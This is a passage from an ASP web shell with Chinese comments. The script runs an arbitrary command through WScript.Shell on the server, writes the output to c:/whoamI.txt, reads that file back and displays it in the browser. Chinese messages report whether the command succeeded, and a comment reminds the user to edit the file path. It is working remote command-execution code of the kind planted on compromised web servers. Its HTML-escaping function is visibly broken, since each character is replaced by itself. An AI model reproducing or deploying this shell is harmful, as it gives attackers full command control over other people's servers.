whoamI.txt路徑到一個有寫權限的目錄 Set WShShell = Server.CreateObject("WScript.Shell") RetCode = WShShell.Run(cmd, 1, True) if RetCode = 0 Then Response.write ml & " " Response.write " 命令成功執行!"&"<br><br>" else Response.write " 命令執行失敗!權限不夠或者該程序無法在DOS狀態下運行
!"&"<br><br>"
end if 'response.write cmd
function htmlencode(str) dim result dim l if isNULL(str) then htmlencode="" exit function end if l=len(str) result="" dim i for i = 1 to l select case mid(str,i,1) case "<" result=result+"<" case ">" result=result+">" case chr(34) result=result+""" case "&" result=result+"&" case else result=result+mid(str,i,1) end select next htmlencode=result end function Set fs =CreateObject("Scripting.FileSystemObject") Set thisfile = fs.OpenTextFile("c:/whoamI.txt", 1, False) '讀文件,別忘
了修改路徑. counter=0 do while not thisfile.atendofstream counter=counter+1 thisline=htmlencode(thisfile.readline) response.write thisline&"<br>" loop thisfile.Close set fs=nothing %>